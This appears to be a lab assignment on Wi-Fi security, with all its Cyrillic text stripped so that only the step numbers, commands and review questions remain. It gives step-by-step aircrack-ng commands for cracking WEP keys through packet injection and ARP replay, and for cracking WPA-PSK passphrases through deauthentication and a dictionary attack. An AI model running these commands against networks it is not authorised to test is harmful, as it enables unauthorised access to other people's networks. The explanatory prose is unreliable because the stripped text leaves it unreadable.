WPA - WPA-PSK (Pre Shared Key). . - handshake-. . , ( airplay), . handshake-.
handshake- airckrack. , 300-600 . , , .
WPA-PSK , . , . , , , , . .
, (.1).
.1.
WEP WPA.
, airckrack-ng ( TP-LINK TL-WN821N 802.11n Wireless USB Adapter), Linux (Ubuntu, BackTrack 3, BackTrack 4) airckrack-ng.
.
5.1. WEP 64- . , . .
5.2.
(//).
5.3. sudo -i ( , ). .
5.4. iwconfig, .
5.5. airmon-ng start [device], mon0.
5.6. airodump-ng [device], . .
5.7. .
5.8. airodump-ng -c [channel] -w [ ] --bssid [bssid] [device].
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5.9. .
5.10. aireplay-ng -1 0 -a [BSSID] -h [mac- ] [device]. . : Association successful:-) (AID: 1). .
5.11. aireplay-ng -5 -b [BSSID] -h [mac- ] [device].
, fragment-*.xor, , arp-, .
5.12. packetforge-ng -0 -a [BSSID] -h [mac- ] -k 255.255.255.255 -l 255.255.255.255 -y [ *.xor] -w [ arp-]
arp-.
5.13. aireplay-ng -2 -r [ arp-] [device].
arp-, DATA-.
5.14. .
5.15. ls. , *.cap, DATA-.
5.16. aircrack-ng [ *.cap].
WEP-, DATA-, . , . , . . 1. *.cap.
5.17. WEP 128- . , . .
5.18. 5.2.-5.15.
5.19. WPA-PSK. , , . .
5.20. (// ).
5.21. sudo -i ( , ). .
5.22. iwconfig, .
5.23. airmon-ng start [device], mon0.
5.24. airodump-ng [device], . .
5.25. mac- (BSSID), (PWR), (Beacons), (#Data), 10 (#/s), (CH), (ENC), (CIPHER), (AUTH), (ESSID).
5.26. airodump-ng -c [channel] -w [ ] --bssid [bssid] [device].
5.27. WPA-TKIP . handshake - . . 2 :
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) , ;
) , , handshake- . . :
5.28. aireplay-ng -0 1 -a [bssid] -c [mac- ] [device].
, handshake-.
5.29. handshake- . , . :
aircrack-ng -w [ ] -b [bssid] [ ].
, . . 1. *.cap.
5.30. WPA-PSK. , , . .
5.31. 5.19.-5.28.
6.1. .
6.2. . 1.
1
| WEP | WPA-PSK | |||
| - -, | ||||
| , - - | ------- | -------- |
6.3. . WEP WPA-PSK. , .
1. WEP? WEP? ?
2. WEP? ?
3. , WEP?
4. WEP?
5. WPA WEP?
6. WPA ?
7. WPA-PSK? ?
8. WPA-PSK ?
9. ?
10. WPA-PSK ?
1. .., .. . .: -, 2008.
2. .., .., .. Wi-: . .: NT Press, 2005.
